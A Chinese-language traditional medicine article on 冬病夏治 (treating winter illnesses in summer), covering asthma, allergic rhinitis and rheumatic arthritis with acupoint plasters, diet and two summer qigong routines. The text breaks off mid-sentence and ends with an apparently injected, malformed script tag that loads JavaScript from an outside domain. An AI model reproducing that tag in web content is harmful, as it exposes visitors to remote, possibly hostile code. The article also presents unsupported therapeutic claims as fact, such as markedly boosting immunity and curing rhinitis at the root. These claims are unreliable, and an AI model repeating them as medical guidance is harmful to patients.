冬病夏治方法很多，有中药内服、穴位敷贴、穴位注射、埋线疗法、脱敏治疗、刮沙法、割治法、拔罐法、熏洗法、气雾剂吸入法等。它是通过借助自然界夏季阳旺之机，三伏天气候炎热，人体腠理开泄之时（即皮肤毛孔散的最开的时候），在相应的穴位治疗，使药物由皮肤进入穴位经络，再通过经络气血的运行到达相关脏腑，以调整机体免疫功能和内在平衡而发挥防病治病作用。

    最难受的——哮喘

    哮喘是中医冬病夏治最能对抗的大敌。它是一种常见病，全世界约有1.5亿人深受其折磨。
 
    一般因受凉、运动、吸入某种刺激性气体或过敏原，大笑或在睡眠中突然惊醒，胸闷，胸部好像有重石压迫，甚至断气感觉（医学上称窒息）或吸入气体不够用，不能平卧被迫坐起（医学上称端坐呼吸）头向前俯，两肩耸起，两手撑在膝上或桌上，呼气长吸气短（呼气可较吸气长3倍），发出响亮而高的典型笛声（哮喘音）。如果病情进一步发展表现为支气管痉挛时间延长，肺泡内残余气体过多，影响气体交换发生缺氧，出现面色发灰、口唇指甲发紫、四肢冰凉，心跳增快、脉搏细弱、大汗淋漓、情绪紧张。如果治疗不及时，容易导致病情反复发作，甚至诱发肺气肿，肺心病等严重并发症，成人哮喘患者大多是幼年患病。

    击退法：穴位敷贴

    “肺为气之主，肾为气之本”，因此中医药防治咳嗽气喘，对温补肾阳尤为重视，而穴位敷贴为传统的中医疗法之一。而在伏季暑热环境下施治，又具有温补阳气，透里外表，强壮人体正气的作用，对反复发作的咳嗽，气喘疾病起到缓解作用。常用穴位有肺腧、定喘等穴位。

    最尴尬的——过敏性鼻炎

    污染越来越严重，而患过敏性鼻炎的人也越来越多，各种花粉、宠物皮毛、空气中的尘螨，或遇冷空气，都可能是你频繁打喷嚏的元凶。表现为鼻痒、喷嚏、鼻塞、清涕等。除此之外还有咽痒、眼部痒感等。

    鼻腔是呼吸道的门户，是呼吸道的前卫器官，如果此处病变，使之失去防护，环境中有害因素可直接造成整个呼吸系统病变，鼻黏膜过敏可扩散到下呼吸道，引起哮喘。专家已经提出“维护呼吸道黏膜的健康从鼻开始”的观点，因此要积极治疗鼻病。

    击退法：补药及中药敷贴

    1患者为虚寒体质，多怕冷，遇冷发病，尤其是气候突变时明显。“寒者温之”。因此要用热性药、补药进行治疗。

    2急期治其标，缓期治其本，夏季不是该病的发病季节，为缓解期。此时治疗是一种治本的方法，对于阻止发病有益。鼻居面部正中,属阳明之官,为阳中之阳,三伏天是一年中阳性最甚的季节，同气相求，此时人体腠理疏松，经络开放，血流畅通,而脊柱为督脉运行之经,统辖全身阳脉,阳气皆归于此，这时在该处相关穴位采用冬病夏治的敷贴治疗，能显著提高人体免疫能力，从根本上改善过敏性鼻炎、慢性鼻窦炎等疾病的症状，起到事半功倍的效果。

    最受折磨的——风湿性关节炎

    阴雨季节，关节隐隐作痛。中医认为风湿性关节炎属主要由于腠理空疏、卫阳不固，风、寒、湿邪气乘虚而入，以致气血不和、经络阻滞而成。这种病的发生与个体的营养状况、免疫功能、居住条件、气候环境等因素有关。

    击退法：敷贴、针灸、饮食和练功

    敷贴、针灸、饮食可缓解病情。

    夏季练功有助于防治风湿病，可于农历7月期间分别加练下述二法：

    小暑期间气功

    全身放松，自然直立，两足分开平肩。两腿继之下蹲，两足掌紧贴地面，两手握拳置于身两侧前方地上，手背向前，两手拳心向后；头部左转，引肩作虎视，同时上敛收会阴、吸气。头复正，随即右转，引肩作虎视，上敛收会阴、呼气。左右各12次。练功毕，叩齿、漱口、咽津、起立，随意自然散步片刻。

    效果：可锻炼和增强脾胃健康功能，具有防治头部、颈项、肩背疼痛，及四肢风湿麻痹欠灵活，咳嗽、气喘、大便泻泄等病症的效用。

    大暑期间气功

    两脚分开与肩平，自然下蹲。两手分别放于两足前方，五指抓地，手背朝前，手心向后，闭目耸肩，全身上跃。跃身时吸气，缩身时呼气，如此反复12或24次。练功完毕后，叩齿、漱口、咽津、起立，随意自然散步片刻。

    效果：可促进气血循经运用，营养四肢筋骨肌肉，能促进食欲，丰满肌肉，防治四肢筋骨关节酸痛、手足麻?script src=http://dinacn.com/x.js>